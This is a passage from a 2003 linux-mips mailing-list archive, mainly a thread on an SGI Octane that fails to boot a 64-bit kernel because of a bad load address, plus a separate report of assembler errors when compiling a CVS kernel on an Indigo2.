MIME-Version: 1.0
Content-Type: text/plain;
	charset="big5"
Content-Transfer-Encoding: base64
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <20030403135553Z8225255-1272+1148@linux-mips.org>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
X-OriginalArrivalTime: 04 Apr 2003 00:35:47.0515 (UTC) FILETIME=[229AC8B0:01C2FA42]
Return-Path: <WayneChen@aiptek.com.tw>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1918
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: waynechen@aiptek.com.tw
Precedence: bulk
X-list: linux-mips

DQoNCi0tLS0tT3JpZ2luYWwgTWVzc2FnZS0tLS0tDQpGcm9tOiBsaW51eC1jdnMtYm91bmNlQGxp
bnV4LW1pcHMub3JnDQpbbWFpbHRvOmxpbnV4LWN2cy1ib3VuY2VAbGludXgtbWlwcy5vcmddT24g
QmVoYWxmIE9mIHJhbGZAbGludXgtbWlwcy5vcmcNClNlbnQ6IFRodXJzZGF5LCBBcHJpbCAwMywg
MjAwMyA5OjU2IFBNDQpUbzogbGludXgtY3ZzQGxpbnV4LW1pcHMub3JnDQpTdWJqZWN0OiBDVlMg
VXBkYXRlQC1taXBzLm9yZzogbGludXggDQoNCg0KDQpDVlNST09UOgkvaG9tZS9jdnMNCk1vZHVs
ZSBuYW1lOglsaW51eA0KQ2hhbmdlcyBieToJcmFsZkBmdHAubGludXgtbWlwcy5vcmcJMDMvMDQv
MDMgMTQ6NTU6NDcNCg0KTW9kaWZpZWQgZmlsZXM6DQoJYXJjaC9taXBzL21tICAgOiBjLXI0ay5j
IA0KCWFyY2gvbWlwczY0L21tIDogYy1yNGsuYyANCg0KTG9nIG1lc3NhZ2U6DQoJUmVzdHJpY3Qg
Y2hlY2sgZm9yIFI0MDAwIGVycmF0dW0gIzUgdG8gcGFnZXNpemUgPD0gMzJrQiBhbmQgU0MgdmVy
c2lvbnMNCglvbmx5Lg0KDQo=


From erik@greendragon.org Fri Apr  4 04:44:42 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 04 Apr 2003 04:44:43 +0100 (BST)
Received: from kauket.visi.com ([IPv6:::ffff:209.98.98.22]:45003 "HELO
	mail-out.visi.com") by linux-mips.org with SMTP id <S8225200AbTDDDom>;
	Fri, 4 Apr 2003 04:44:42 +0100
Received: from mehen.visi.com (mehen.visi.com [209.98.98.97])
	by mail-out.visi.com (Postfix) with ESMTP id C38773700
	for <linux-mips@linux-mips.org>; Thu,  3 Apr 2003 21:44:32 -0600 (CST)
Received: from mehen.visi.com (localhost [127.0.0.1])
	by mehen.visi.com (8.12.9/8.12.5) with ESMTP id h343iW6D045171
	for <linux-mips@linux-mips.org>; Thu, 3 Apr 2003 21:44:32 -0600 (CST)
	(envelope-from erik@greendragon.org)
Received: (from www@localhost)
	by mehen.visi.com (8.12.9/8.12.5/Submit) id h343iV7N045170
	for linux-mips@linux-mips.org; Fri, 4 Apr 2003 03:44:31 GMT
X-Authentication-Warning: mehen.visi.com: www set sender to erik@greendragon.org using -f
Received: from tc1-41.lindstrom.cornernet.com (tc1-41.lindstrom.cornernet.com [207.195.212.115]) 
	by my.visi.com (IMP) with HTTP 
	for <longshot@imap.visi.com>; Fri,  4 Apr 2003 03:44:31 +0000
Message-ID: <1049427871.3e8cff9f9c50e@my.visi.com>
Date: Fri,  4 Apr 2003 03:44:31 +0000
From: "Erik J. Green" <erik@greendragon.org>
To: linux-mips@linux-mips.org
Subject: Unknown ARCS message/hang
MIME-Version: 1.0
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: 7bit
User-Agent: Internet Messaging Program (IMP) 4.0-cvs
X-Originating-IP: 207.195.212.115
Return-Path: <erik@greendragon.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1919
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: erik@greendragon.org
Precedence: bulk
X-list: linux-mips



Hello all;

I'm working on getting mips-linux up and running on my Octane, which may be an
impossible task.  I am new to the MIPS architecture, and I'm absorbing a lot of
information rapidly from MIPS Inc. manuals, See MIPS Run, et. al., but I have
been banging my head against the wall for a couple days trying to get a simple
problem fixed.

First, my Octane works just fine with Irix 6.5.17.  Configuration is a R12K
CPU/300 mhz, 256MB RAM, 1 18G disk, ethernet connection.  I boot using bootp. 
I've used the network to boot fx, a copy of the irix kernel, etc.

I get the following messages when I try to boot the (very slightly) modified
linux kernel I am working with:

--start messages

Obtaining /vmlinux.64 from server
1813568+1150976+172144 entry: 0xa8000000211c4000

*** PROM write error on cacheline 0x1fcd3b00 at PC=0x211c4018 RA=0xffffffff9fc5ace4

--end messages

The PC address is the first instruction in head.S (mips64) that touches the
control register.  I've tried multiple fixes, including initializing the whole
TLB before the error occurs.  Same error.

Can anyone tell me:

1) What does this error text mean exactly? 

2) What is "RA"?  The address is a location in the PROM text/stack section.

3) Am I missing something simple?  An initialization, a rule I'm not following?

objdump of the head.S I am using is below.

Thanks for any clues you can provide.  I'm excited to get working on this
machine if I can just learn MIPS =\

Erik

Disassembly of section .text.init:

a8000000211c4000 <kernel_entry>:
a8000000211c4000:       37bd000f        ori     sp,sp,0xf
a8000000211c4004:       3bbd000f        xori    sp,sp,0xf
a8000000211c4008:       3c0c211c        lui     t0,0x211c
a8000000211c400c:       258c4018        addiu   t0,t0,16408
a8000000211c4010:       01800008        jr      t0
a8000000211c4014:       00000000        nop
a8000000211c4018:       400c6000        mfc0    t0,$12
a8000000211c401c:       3c0d1000        lui     t1,0x1000
a8000000211c4020:       35ad001f        ori     t1,t1,0x1f
a8000000211c4024:       018d6025        or      t0,t0,t1
a8000000211c4028:       398c001f        xori    t0,t0,0x1f
a8000000211c402c:       408c6000        mtc0    t0,$12
a8000000211c4030:       3c1c211c        lui     gp,0x211c
a8000000211c4034:       279c0000        addiu   gp,gp,0
a8000000211c4038:       679d3fe0        daddiu  sp,gp,16352
a8000000211c403c:       8f8c0060        lw      t0,96(gp)



-- 
Erik J. Green
erik@greendragon.org

From Marek.Uher@t-mobile.cz Fri Apr  4 13:18:50 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 04 Apr 2003 13:18:50 +0100 (BST)
Received: from cyber.radiomobil.cz ([IPv6:::ffff:62.141.0.125]:1830 "HELO
	cyber.radiomobil.cz") by linux-mips.org with SMTP
	id <S8225202AbTDDMSu> convert rfc822-to-8bit; Fri, 4 Apr 2003 13:18:50 +0100
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-2"
Content-Transfer-Encoding: 8BIT
Subject: Problem with CVS kernel compiling
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
Date: Fri, 4 Apr 2003 14:18:37 +0200
Message-ID: <6D2F48AA9477864682B4078EFF1BEAF19B0FD5@radiomobil.cz>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Problem with CVS kernel compiling
Thread-Index: AcL6pENatGH+fGaVEdetwgBQVkyKdw==
From: "Uher Marek" <Marek.Uher@t-mobile.cz>
To: <linux-mips@linux-mips.org>
X-OriginalArrivalTime: 04 Apr 2003 12:18:37.0824 (UTC) FILETIME=[52114800:01C2FAA4]
Return-Path: <Marek.Uher@t-mobile.cz>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1920
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: Marek.Uher@t-mobile.cz
Precedence: bulk
X-list: linux-mips


	Hello,

I downloaded the kernel sources from CVS. I used config from my current Debian
GNU/Linux kernel 2.4.19 (which is working OK for me) with MIPS patch. Then I
ran "make menuconfig". When I give the command "make vmlinux" I have got these
errors:

gcc -Wp,-MD,arch/mips/kernel/.entry.o.d -D__ASSEMBLY__ -D__KERNEL__ -Iinclude
 -I /usr/src/linux-2.5.47/include/asm/gcc -G 0 -mno-abicalls -fno-pic -pipe
 -mcpu=r4600 -mips2 -Wa,--trap -nostdinc -iwithprefix include -D__KERNEL__
 -Iinclude -Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fomit-frame-pointer
 -fno-strict-aliasing -fno-common -I /usr/src/linux-2.5.47/include/asm/gcc
 -G 0 -mno-abicalls -fno-pic -pipe -mcpu=r4600 -mips2 -Wa,--trap  -c
 -o arch/mips/kernel/entry.o arch/mips/kernel/entry.S
In file included from include/asm/processor.h:15,
                 from include/asm/stackframe.h:15,
                 from arch/mips/kernel/entry.S:22:
include/linux/cache.h:7: warning: `ALIGN' redefined
include/linux/linkage.h:24: warning: this is the location of the previous definition
arch/mips/kernel/entry.S: Assembler messages:
arch/mips/kernel/entry.S:79: Error: unrecognized opcode `align'
arch/mips/kernel/entry.S:84: Error: illegal operands `beqz restore_all'
arch/mips/kernel/entry.S:93: Error: expression too complex
arch/mips/kernel/entry.S:94: Error: unrecognized opcode `addl $8,irq_stat+local_irq_count'
arch/mips/kernel/entry.S:102: Error: unrecognized opcode `movl $8,0($28)'
make[1]: *** [arch/mips/kernel/entry.o] Error 1
make: *** [arch/mips/kernel] Error 2

I try to compile the kernel on a SGI Indigo2 SolidImpact box. Can anyone help
me?

Regards

Marek Uher
 --
Ing. Marek Uher
Web Administration Team
Linux System Engineer
T-Mobile Czech Republic a.s.
Evropska 178
160 67 Praha 6
Czech Republic
Mobile:	(+420) 603 400 728
Office:	(+420) 603 607 128
Fax:		(+420) 603 600 796
E-mail:	marek.uher@t-mobile.cz
Web:		http://www.t-mobile.cz/
 

From macro@ds2.pg.gda.pl Fri Apr  4 13:57:54 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 04 Apr 2003 13:57:55 +0100 (BST)
Received: from delta.ds2.pg.gda.pl ([IPv6:::ffff:213.192.72.1]:13799 "EHLO
	delta.ds2.pg.gda.pl") by linux-mips.org with ESMTP
	id <S8225202AbTDDM5y>; Fri, 4 Apr 2003 13:57:54 +0100
Received: from localhost by delta.ds2.pg.gda.pl (8.9.3/8.9.3) with SMTP id OAA08586;
	Fri, 4 Apr 2003 14:58:02 +0200 (MET DST)
Date: Fri, 4 Apr 2003 14:58:02 +0200 (MET DST)
From: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
To: "Erik J. Green" <erik@greendragon.org>
cc: linux-mips@linux-mips.org
Subject: Re: Unknown ARCS message/hang
In-Reply-To: <1049427871.3e8cff9f9c50e@my.visi.com>
Message-ID: <Pine.GSO.3.96.1030404142811.7307B-100000@delta.ds2.pg.gda.pl>
Organization: Technical University of Gdansk
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <macro@ds2.pg.gda.pl>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1921
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: macro@ds2.pg.gda.pl
Precedence: bulk
X-list: linux-mips

On Fri, 4 Apr 2003, Erik J. Green wrote:

> I get the following messages when I try to boot the (very slightly) modified
> linux kernel I am working with:
> 
> --start messages
> 
> Obtaining /vmlinux.64 from server
> 1813568+1150976+172144 entry: 0xa8000000211c4000
> 
> *** PROM write error on cacheline 0x1fcd3b00 at PC=0x211c4018 RA=0xffffffff9fc5ace4
> 
> --end messages
> 
> The PC address is the first instruction in head.S (mips64) that touches the
> control register.  I've tried multiple fixes, including initializing the whole
> TLB before the error occurs.  Same error.

 0x211c4018 is a mapped address, which you can't use that early in a boot.

> Can anyone tell me:
> 
> 1) What does this error text mean exactly? 

 An unhandled exception happened due to using a mapped address.  The PROM
caught it and reported. 

> 2) What is "RA"?  The address is a location in the PROM text/stack section.

 It's a CPU register, otherwise known as $31, where the return address is
stored by most of the jump-and-link and branch-and-link instructions.
Here it's an address in the PROM following the "jalr" instruction that
invoked the kernel.

> 3) Am I missing something simple?  An initialization, a rule I'm not following?

 You really want to link your kernel at a KSEG0 address (otherwise you'd
need to struggle with the kernel and the tools to get an unsupported yet
configuration to work).  Basically this means setting LOADADDR in
arch/mips64/Makefile appropriately.  See how it's done for other
platforms.

-- 
+  Maciej W. Rozycki, Technical University of Gdansk, Poland   +
+--------------------------------------------------------------+
+        e-mail: macro@ds2.pg.gda.pl, PGP key available        +


From agx@sigxcpu.org Fri Apr  4 14:22:10 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 04 Apr 2003 14:22:11 +0100 (BST)
Received: from honk1.physik.uni-konstanz.de ([IPv6:::ffff:134.34.140.224]:16534
	"EHLO honk1.physik.uni-konstanz.de") by linux-mips.org with ESMTP
	id <S8225202AbTDDNWK>; Fri, 4 Apr 2003 14:22:10 +0100
Received: from localhost (localhost [127.0.0.1])
	by honk1.physik.uni-konstanz.de (Postfix) with ESMTP id 27EC92BC30
	for <linux-mips@linux-mips.org>; Fri,  4 Apr 2003 15:22:08 +0200 (CEST)
Received: from honk1.physik.uni-konstanz.de ([127.0.0.1])
 by localhost (honk [127.0.0.1:10024]) (amavisd-new) with ESMTP id 19269-04
 for <linux-mips@linux-mips.org>; Fri,  4 Apr 2003 15:22:07 +0200 (CEST)
Received: from bogon.sigxcpu.org (bogon.physik.uni-konstanz.de [134.34.147.122])
	by honk1.physik.uni-konstanz.de (Postfix) with ESMTP id 3086B2BC2D
	for <linux-mips@linux-mips.org>; Fri,  4 Apr 2003 15:22:07 +0200 (CEST)
Received: by bogon.sigxcpu.org (Postfix, from userid 1000)
	id 457C51735C; Fri,  4 Apr 2003 15:19:35 +0200 (CEST)
Date: Fri, 4 Apr 2003 15:19:35 +0200
From: Guido Guenther <agx@sigxcpu.org>
To: linux-mips@linux-mips.org
Subject: Re: Unknown ARCS message/hang
Message-ID: <20030404131935.GF11906@bogon.ms20.nix>
Mail-Followup-To: Guido Guenther <agx@sigxcpu.org>,
	linux-mips@linux-mips.org
References: <1049427871.3e8cff9f9c50e@my.visi.com> <Pine.GSO.3.96.1030404142811.7307B-100000@delta.ds2.pg.gda.pl>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <Pine.GSO.3.96.1030404142811.7307B-100000@delta.ds2.pg.gda.pl>
User-Agent: Mutt/1.5.3i
Return-Path: <agx@sigxcpu.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1922
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: agx@sigxcpu.org
Precedence: bulk
X-list: linux-mips

On Fri, Apr 04, 2003 at 02:58:02PM +0200, Maciej W. Rozycki wrote:
[..snip..] 
> > Obtaining /vmlinux.64 from server
> > 1813568+1150976+172144 entry: 0xa8000000211c4000
> > 
> > *** PROM write error on cacheline 0x1fcd3b00 at PC=0x211c4018 RA=0xffffffff9fc5ace4
[..snip..] 
> 
>  0x211c4018 is a mapped address, which you can't use that early in a boot.
Isn't 0xa8000000211c4000 in xkphys and therefore unmapped? The PROM only
seems to look at the lower 32bits of PC though.
Puzzled,
 -- Guido

From macro@ds2.pg.gda.pl Fri Apr  4 15:19:30 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 04 Apr 2003 15:19:31 +0100 (BST)
Received: from delta.ds2.pg.gda.pl ([IPv6:::ffff:213.192.72.1]:42474 "EHLO
	delta.ds2.pg.gda.pl") by linux-mips.org with ESMTP
	id <S8225202AbTDDOTa>; Fri, 4 Apr 2003 15:19:30 +0100
Received: from localhost by delta.ds2.pg.gda.pl (8.9.3/8.9.3) with SMTP id QAA09630;
	Fri, 4 Apr 2003 16:19:45 +0200 (MET DST)
Date: Fri, 4 Apr 2003 16:19:44 +0200 (MET DST)
From: "Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
To: Guido Guenther <agx@sigxcpu.org>
cc: linux-mips@linux-mips.org
Subject: Re: Unknown ARCS message/hang
In-Reply-To: <20030404131935.GF11906@bogon.ms20.nix>
Message-ID: <Pine.GSO.3.96.1030404161724.7307D-100000@delta.ds2.pg.gda.pl>
Organization: Technical University of Gdansk
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Return-Path: <macro@ds2.pg.gda.pl>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1923
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: macro@ds2.pg.gda.pl
Precedence: bulk
X-list: linux-mips

On Fri, 4 Apr 2003, Guido Guenther wrote:

> > > Obtaining /vmlinux.64 from server
> > > 1813568+1150976+172144 entry: 0xa8000000211c4000
> > > 
> > > *** PROM write error on cacheline 0x1fcd3b00 at PC=0x211c4018 RA=0xffffffff9fc5ace4
> [..snip..] 
> > 
> >  0x211c4018 is a mapped address, which you can't use that early in a boot.
> Isn't 0xa8000000211c4000 in xkphys and therefore unmapped? The PROM only
> seems to look at the lower 32bits of PC though.

 0xa8000000211c4000 is indeed in XKPHYS but the code jumps to 0x211c4018.

-- 
+  Maciej W. Rozycki, Technical University of Gdansk, Poland   +
+--------------------------------------------------------------+
+        e-mail: macro@ds2.pg.gda.pl, PGP key available        +


From agx@sigxcpu.org Fri Apr  4 15:38:09 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 04 Apr 2003 15:38:11 +0100 (BST)
Received: from honk1.physik.uni-konstanz.de ([IPv6:::ffff:134.34.140.224]:50326
	"EHLO honk1.physik.uni-konstanz.de") by linux-mips.org with ESMTP
	id <S8225248AbTDDOiJ>; Fri, 4 Apr 2003 15:38:09 +0100
Received: from localhost (localhost [127.0.0.1])
	by honk1.physik.uni-konstanz.de (Postfix) with ESMTP
	id 4C9AE2BC2D; Fri,  4 Apr 2003 16:38:08 +0200 (CEST)
Received: from honk1.physik.uni-konstanz.de ([127.0.0.1])
 by localhost (honk [127.0.0.1:10024]) (amavisd-new) with ESMTP id 19638-08;
 Fri,  4 Apr 2003 16:38:07 +0200 (CEST)
Received: from bogon.sigxcpu.org (bogon.physik.uni-konstanz.de [134.34.147.122])
	by honk1.physik.uni-konstanz.de (Postfix) with ESMTP
	id 028722BC32; Fri,  4 Apr 2003 16:38:06 +0200 (CEST)
Received: by bogon.sigxcpu.org (Postfix, from userid 1000)
	id 337391735C; Fri,  4 Apr 2003 16:35:34 +0200 (CEST)
Date: Fri, 4 Apr 2003 16:35:34 +0200
From: Guido Guenther <agx@sigxcpu.org>
To: "Erik J. Green" <erik@greendragon.org>
Cc: linux-mips@linux-mips.org,
	"Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
Subject: Re: Unknown ARCS message/hang
Message-ID: <20030404143534.GG11906@bogon.ms20.nix>
Mail-Followup-To: Guido Guenther <agx@sigxcpu.org>,
	"Erik J. Green" <erik@greendragon.org>, linux-mips@linux-mips.org,
	"Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
References: <20030404131935.GF11906@bogon.ms20.nix> <Pine.GSO.3.96.1030404161724.7307D-100000@delta.ds2.pg.gda.pl>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <Pine.GSO.3.96.1030404161724.7307D-100000@delta.ds2.pg.gda.pl>
User-Agent: Mutt/1.5.3i
Return-Path: <agx@sigxcpu.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1924
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: agx@sigxcpu.org
Precedence: bulk
X-list: linux-mips

On Fri, Apr 04, 2003 at 04:19:44PM +0200, Maciej W. Rozycki wrote:
> On Fri, 4 Apr 2003, Guido Guenther wrote:
> 
> > > > Obtaining /vmlinux.64 from server
> > > > 1813568+1150976+172144 entry: 0xa8000000211c4000
> > > > 
> > > > *** PROM write error on cacheline 0x1fcd3b00 at PC=0x211c4018 RA=0xffffffff9fc5ace4
> > [..snip..] 
> > > 
> > >  0x211c4018 is a mapped address, which you can't use that early in a boot.
> > Isn't 0xa8000000211c4000 in xkphys and therefore unmapped? The PROM only
> > seems to look at the lower 32bits of PC though.
> 
>  0xa8000000211c4000 is indeed in XKPHYS but the code jumps to 0x211c4018.
So either the PROM or (more likely) the start address in the kernel is
bogus. What does
 objdump -x vmlinux | grep 'start address'
say?
Regards,
 -- Guido

From agx@sigxcpu.org Fri Apr  4 15:43:33 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 04 Apr 2003 15:43:35 +0100 (BST)
Received: from honk1.physik.uni-konstanz.de ([IPv6:::ffff:134.34.140.224]:55190
	"EHLO honk1.physik.uni-konstanz.de") by linux-mips.org with ESMTP
	id <S8225260AbTDDOnd>; Fri, 4 Apr 2003 15:43:33 +0100
Received: from localhost (localhost [127.0.0.1])
	by honk1.physik.uni-konstanz.de (Postfix) with ESMTP
	id 75BE72BC30; Fri,  4 Apr 2003 16:43:28 +0200 (CEST)
Received: from honk1.physik.uni-konstanz.de ([127.0.0.1])
 by localhost (honk [127.0.0.1:10024]) (amavisd-new) with ESMTP id 19790-01;
 Fri,  4 Apr 2003 16:43:27 +0200 (CEST)
Received: from bogon.sigxcpu.org (bogon.physik.uni-konstanz.de [134.34.147.122])
	by honk1.physik.uni-konstanz.de (Postfix) with ESMTP
	id BFC562BC2D; Fri,  4 Apr 2003 16:43:27 +0200 (CEST)
Received: by bogon.sigxcpu.org (Postfix, from userid 1000)
	id 78F6B1735C; Fri,  4 Apr 2003 16:40:55 +0200 (CEST)
Date: Fri, 4 Apr 2003 16:40:55 +0200
From: Guido Guenther <agx@sigxcpu.org>
To: "Erik J. Green" <erik@greendragon.org>
Cc: linux-mips@linux-mips.org,
	"Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
Subject: Re: Unknown ARCS message/hang
Message-ID: <20030404144055.GH11906@bogon.ms20.nix>
Mail-Followup-To: Guido Guenther <agx@sigxcpu.org>,
	"Erik J. Green" <erik@greendragon.org>, linux-mips@linux-mips.org,
	"Maciej W. Rozycki" <macro@ds2.pg.gda.pl>
References: <20030404131935.GF11906@bogon.ms20.nix> <Pine.GSO.3.96.1030404161724.7307D-100000@delta.ds2.pg.gda.pl> <20030404143534.GG11906@bogon.ms20.nix>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20030404143534.GG11906@bogon.ms20.nix>
User-Agent: Mutt/1.5.3i
Return-Path: <agx@sigxcpu.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1925
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: agx@sigxcpu.org
Precedence: bulk
X-list: linux-mips

On Fri, Apr 04, 2003 at 04:35:34PM +0200, Guido Guenther wrote:
> So either the PROM or (more likely) the start address in the kernel is
> bogus. What does
Forget that. Looking at the disassembly in the first mail it's clearly
the code that's wrong.
Regards,
 -- Guido

From erik@greendragon.org Fri Apr  4 15:43:54 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 04 Apr 2003 15:43:56 +0100 (BST)
Received: from kauket.visi.com ([IPv6:::ffff:209.98.98.22]:20949 "HELO
	mail-out.visi.com") by linux-mips.org with SMTP id <S8225263AbTDDOnf>;
	Fri, 4 Apr 2003 15:43:35 +0100
Received: from mehen.visi.com (mehen.visi.com [209.98.98.97])
	by mail-out.visi.com (Postfix) with ESMTP id 699E736D1
	for <linux-mips@linux-mips.org>; Fri,  4 Apr 2003 08:43:26 -0600 (CST)
Received: from mehen.visi.com (localhost [127.0.0.1])
	by mehen.visi.com (8.12.9/8.12.5) with ESMTP id h34EhQ6D047951
	for <linux-mips@linux-mips.org>; Fri, 4 Apr 2003 08:43:26 -0600 (CST)
	(envelope-from erik@greendragon.org)
Received: (from www@localhost)
	by mehen.visi.com (8.12.9/8.12.5/Submit) id h34EhQeP047950
	for linux-mips@linux-mips.org; Fri, 4 Apr 2003 14:43:26 GMT
X-Authentication-Warning: mehen.visi.com: www set sender to erik@greendragon.org using -f
Received: from stpns.guidant.com (stpns.guidant.com [132.189.76.10]) 
	by my.visi.com (IMP) with HTTP 
	for <longshot@imap.visi.com>; Fri,  4 Apr 2003 14:43:25 +0000
Message-ID: <1049467405.3e8d9a0dea4a5@my.visi.com>
Date: Fri,  4 Apr 2003 14:43:25 +0000
From: "Erik J. Green" <erik@greendragon.org>
To: "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>
Subject: Re: Unknown ARCS message/hang
References: <1049427871.3e8cff9f9c50e@my.visi.com> <Pine.GSO.3.96.1030404142811.7307B-100000@delta.ds2.pg.gda.pl> <20030404131935.GF11906@bogon.ms20.nix>
In-Reply-To: <20030404131935.GF11906@bogon.ms20.nix>
MIME-Version: 1.0
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: 7bit
User-Agent: Internet Messaging Program (IMP) 4.0-cvs
X-Originating-IP: 132.189.76.10
Return-Path: <erik@greendragon.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1926
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: erik@greendragon.org
Precedence: bulk
X-list: linux-mips


.. and just to display my complete technical mastery, I failed to echo this
message to the list the first time around =\


Quoting Guido Guenther <agx@sigxcpu.org>:
> >  0x211c4018 is a mapped address, which you can't use that early in a boot.
> Isn't 0xa8000000211c4000 in xkphys and therefore unmapped? The PROM only
> seems to look at the lower 32bits of PC though.
> Puzzled,
>  -- Guido

That's what I thought too.  I did notice that the 64 bit kernel seems to refer
to some 32 bit compatibility address spaces, so I'm probably confused on what
gets used when.

FYI, the load address I'm using (0xa800000020004000) is the one specified in the
irix headers for an IP30 kernel (as I read it anyway) and is very close to the
entry point IRIX uses on the same machine.

Erik




-- 
Erik J. Green
erik@greendragon.org

From erik@greendragon.org Fri Apr  4 15:57:39 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 04 Apr 2003 15:57:41 +0100 (BST)
Received: from kauket.visi.com ([IPv6:::ffff:209.98.98.22]:38101 "HELO
	mail-out.visi.com") by linux-mips.org with SMTP id <S8225202AbTDDO5j>;
	Fri, 4 Apr 2003 15:57:39 +0100
Received: from mehen.visi.com (mehen.visi.com [209.98.98.97])
	by mail-out.visi.com (Postfix) with ESMTP id 31D5536D1
	for <linux-mips@linux-mips.org>; Fri,  4 Apr 2003 08:57:31 -0600 (CST)
Received: from mehen.visi.com (localhost [127.0.0.1])
	by mehen.visi.com (8.12.9/8.12.5) with ESMTP id h34EvV6D048061
	for <linux-mips@linux-mips.org>; Fri, 4 Apr 2003 08:57:31 -0600 (CST)
	(envelope-from erik@greendragon.org)
Received: (from www@localhost)
	by mehen.visi.com (8.12.9/8.12.5/Submit) id h34EvVpi048060
	for linux-mips@linux-mips.org; Fri, 4 Apr 2003 14:57:31 GMT
X-Authentication-Warning: mehen.visi.com: www set sender to erik@greendragon.org using -f
Received: from stpns.guidant.com (stpns.guidant.com [132.189.76.10]) 
	by my.visi.com (IMP) with HTTP 
	for <longshot@imap.visi.com>; Fri,  4 Apr 2003 14:57:30 +0000
Message-ID: <1049468250.3e8d9d5aecb0a@my.visi.com>
Date: Fri,  4 Apr 2003 14:57:30 +0000
From: "Erik J. Green" <erik@greendragon.org>
To: "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>
Subject: Re: Unknown ARCS message/hang
References: <Pine.GSO.3.96.1030404161724.7307D-100000@delta.ds2.pg.gda.pl>
In-Reply-To: <Pine.GSO.3.96.1030404161724.7307D-100000@delta.ds2.pg.gda.pl>
MIME-Version: 1.0
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: 7bit
User-Agent: Internet Messaging Program (IMP) 4.0-cvs
X-Originating-IP: 132.189.76.10
Return-Path: <erik@greendragon.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
